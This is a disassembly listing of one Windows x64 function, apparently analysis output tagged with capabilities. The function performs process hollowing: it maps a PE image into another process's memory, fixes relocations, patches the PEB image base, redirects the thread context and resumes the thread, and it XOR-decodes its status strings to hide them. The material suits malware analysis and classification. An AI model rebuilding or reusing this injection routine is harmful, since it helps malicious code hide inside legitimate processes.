Function at 0x14000e7f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r15
lea rbp, [rsp - 0x2b8]
sub rsp, 0x3b8
mov rax, qword [0x14006a080]
xor rax, rsp
mov qword [rbp + 0x2a8], rax
movsxd rsi, dword [rdx + 0x3c]
mov rdi, rdx
add rsi, rdx
mov qword [rsp + 0x30], rdx
mov r15, rcx
mov qword [rsp + 0x40], rsi
mov rcx, qword [rcx]
mov r12d, 0x40
xor edx, edx
mov dword [rsp + 0x20], r12d
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x38], rax
test rax, rax
jne 0x14000e8a1
lea rdx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
lea rcx, [rsp + 0x50]
call fcn.1400142a0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e891
lea rbx, [rax + 1]
lea edi, [r12 + 0xb]
nop dword [rax + rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e880
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000eedd
mov qword [rsp + 0x400], r13
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x3b0], r14
call fcn.1400145b0
mov r13, rax
cmp byte [rax], 0
jne 0x14000e8e1
lea rbx, [rax + 1]
mov r14d, 0x1f
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r14, 1
jne 0x14000e8d0
mov rdx, qword [rbp - 0x38]
lea rcx, [r13 + 1]
call fcn.140001290
mov rcx, qword [rbp - 0x38]
mov r8, rdi
mov eax, dword [rsi + 0x34]
mov rdx, rcx
mov r9d, dword [rsi + 0x54]
sub rdx, rax
mov dword [rsi + 0x34], ecx
xor eax, eax
mov rcx, qword [r15]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp - 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000e95d
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
lea rcx, [rsp + 0x50]
call fcn.140013f90
mov rsi, rax
cmp byte [rax], 0
jne 0x14000eec2
lea rbx, [rax + 1]
mov edi, 0x4c
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e947
jmp 0x14000eec2
lea rcx, [rsp + 0x50]
call fcn.140013e50
mov r13, rax
cmp byte [rax], 0
jne 0x14000e991
lea rbx, [rax + 1]
mov r14d, 0x1d
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r14, 1
jne 0x14000e980
mov rdx, qword [rbp - 0x38]
lea rcx, [r13 + 1]
call fcn.140001290
movsxd rbx, dword [rdi + 0x3c]
xor r10d, r10d
cmp dword [rbx + rdi + 0xa0], r10d
je 0x14000e9b9
mov rbx, qword [rbx + rdi + 0xa0]
jmp 0x14000e9bc
mov rbx, r10
mov r14, r10
mov qword [rsp + 0x38], rbx
mov dword [rbp + 0x2a0], r10d
cmp r10w, word [rsi + 6]
jae 0x14000ee8f
mov rcx, r10
mov qword [rbp - 0x50], rcx
nop dword [rax]
movzx eax, word [rsi + 0x14]
lea r13, [rsi + 0x18]
add rax, rcx
add r13, rax
mov edx, dword [r13 + 0xc]
cmp ebx, edx
jb 0x14000ea02
mov ecx, dword [r13 + 8]
add ecx, edx
cmp ebx, ecx
cmovb r14, r13
mov r8d, dword [r13 + 0x14]
mov r9d, dword [r13 + 0x10]
add r8, rdi
add rdx, qword [rbp - 0x38]
mov rcx, qword [r15]
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000ee53
lea rcx, [rsp + 0x50]
call fcn.140013a50
mov qword [rbp - 0x48], rax
cmp byte [rax], 0
jne 0x14000ea62
lea rdi, [rax + 1]
mov esi, 0x21
call fcn.14002a79c
xor byte [rdi], al
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x14000ea43
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rax, qword [rbp - 0x48]
mov r8d, dword [r13 + 0xc]
lea rcx, [rax + 1]
add r8, qword [rbp - 0x38]
mov rdx, r13
call fcn.140001290
mov r8d, dword [rbp + 0x2a0]
mov r10d, 0
mov rcx, qword [rbp - 0x50]
inc r8d
movzx eax, word [rsi + 6]
add rcx, 0x28
mov dword [rbp + 0x2a0], r8d
mov qword [rbp - 0x50], rcx
cmp r8d, eax
jl 0x14000e9e0
test r14, r14
je 0x14000ee8f
lea rcx, [rsp + 0x50]
call fcn.140013580
mov rdi, rax
cmp byte [rax], 0
jne 0x14000eae6
lea rbx, [rax + 1]
mov esi, 0x1d
nop word [rax + rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000ead0
mov rsi, qword [rsp + 0x40]
lea rcx, [rdi + 1]
mov rdx, r14
call fcn.140001290
xor r8d, r8d
mov edi, r8d
cmp dword [rsp + 0x3c], r8d
jbe 0x14000ebf5
mov rdx, qword [rsp + 0x30]
mov r9d, 0x1000
mov r13, qword [rbp - 0x40]
nop dword [rax]
nop word [rax + rax]
mov eax, dword [r14 + 0x14]
add rax, rdx
mov r12d, edi
add r12, rax
add edi, 8
mov eax, dword [r12 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x14000ebe0
mov esi, eax
nop word [rax + rax]
mov eax, dword [r14 + 0x14]
add rax, rdx
mov ecx, edi
add edi, 2
movzx edx, word [rcx + rax]
cmp dx, r9w
jb 0x14000ebd1
mov rcx, qword [rbp - 0x38]
and edx, 0xfff
mov ebx, dword [r12]
add rcx, rdx
add rbx, rcx
mov dword [rbp + 0x2a0], r8d
mov rcx, qword [r15]
mov rdx, rbx
mov qword [rsp + 0x20], r8
mov r9d, 4
lea r8, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r15]
lea r8, [rbp + 0x2a0]
add dword [rbp + 0x2a0], r13d
mov r9d, 4
mov rdx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov r9d, 0x1000
mov rdx, qword [rsp + 0x30]
sub rsi, 1
jne 0x14000eb50
cmp edi, dword [rsp + 0x3c]
jb 0x14000eb20
mov rsi, qword [rsp + 0x40]
mov r12d, 0x40
mov byte [rsp + 0x50], 0
call fcn.14002a79c
xor al, 0x5b
mov byte [rsp + 0x51], al
call fcn.14002a79c
xor al, 0x2b
mov byte [rsp + 0x52], al
call fcn.14002a79c
xor al, 0x5d
mov byte [rsp + 0x53], al
call fcn.14002a79c
xor al, 0x20
mov byte [rsp + 0x54], al
call fcn.14002a79c
xor al, 0x52
mov byte [rsp + 0x55], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x56], al
call fcn.14002a79c
xor al, 0x6c
mov byte [rsp + 0x57], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x58], al
call fcn.14002a79c
xor al, 0x63
mov byte [rsp + 0x59], al
call fcn.14002a79c
xor al, 0x61
mov byte [rsp + 0x5a], al
call fcn.14002a79c
xor al, 0x74
mov byte [rsp + 0x5b], al
call fcn.14002a79c
xor al, 0x69
mov byte [rsp + 0x5c], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x5d], al
call fcn.14002a79c
xor al, 0x6e
mov byte [rsp + 0x5e], al
call fcn.14002a79c
xor al, 0x73
mov byte [rsp + 0x5f], al
call fcn.14002a79c
xor al, 0x20
mov byte [rsp + 0x60], al
call fcn.14002a79c
xor al, 0x64
mov byte [rsp + 0x61], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x62], al
call fcn.14002a79c
xor al, 0x6e
mov byte [rsp + 0x63], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x64], al
call fcn.14002a79c
xor al, 0x2e
mov byte [rsp + 0x65], al
call fcn.14002a79c
xor al, 0xa
mov byte [rsp + 0x66], al
call fcn.14002a79c
cmp byte [rsp + 0x50], 0
mov byte [rsp + 0x67], al
jne 0x14000ed12
xor ebx, ebx
nop
call fcn.14002a79c
xor byte [rsp + rbx + 0x51], al
inc rbx
cmp rbx, 0x17
jb 0x14000ed00
lea rcx, [rsp + 0x51]
call fcn.140001290
xor edx, edx
lea rcx, [rbp - 0x2c]
mov r8d, 0x2c8
call fcn.14004fd80
mov rcx, qword [r15 + 8]
lea rdx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x14000ed7d
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
lea rcx, [rsp + 0x50]
call fcn.1400132e0
mov rdi, rax
cmp byte [rax], 0
jne 0x14000ed74
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r12, 1
jne 0x14000ed63
lea rcx, [rdi + 1]
jmp 0x14000eec6
mov edx, dword [rbp + 0x74]
lea r8, [rbp - 0x38]
mov rcx, qword [r15]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000ede6
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
lea rcx, [rsp + 0x50]
call fcn.140012ff0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000eec2
lea rbx, [rax + 1]
mov edi, 0x49
nop word [rax + rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000edd0
jmp 0x14000eec2
mov ecx, dword [rsi + 0x28]
lea rdx, [rbp - 0x30]
add ecx, dword [rbp - 0x38]
mov dword [rbp + 0x80], ecx
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x14000ee3f
lea rdx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
lea rcx, [rsp + 0x50]
call fcn.140012d50
mov rdi, rax
cmp byte [rax], 0
jne 0x14000ed74
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r12, 1
jne 0x14000ee25
lea rcx, [rdi + 1]
jmp 0x14000eec6
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x14000eecd
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
lea rcx, [rsp + 0x50]
call fcn.140013bb0
mov rdi, rax
cmp byte [rax], 0
jne 0x14000ee81
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r12, 1
jne 0x14000ee70
lea rcx, [rdi + 1]
mov rdx, r13
call fcn.140001290
jmp 0x14000eecb
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_relocation_section_of_the_source_image._n
lea rcx, [rsp + 0x50]
call fcn.1400136c0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000eec2
lea rbx, [rax + 1]
mov edi, 0x58
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000eeb1
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
mov r13, qword [rsp + 0x400]
mov r14, qword [rsp + 0x3b0]
mov rcx, qword [rbp + 0x2a8]
xor rcx, rsp
call fcn.14002b600
add rsp, 0x3b8
pop r15
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret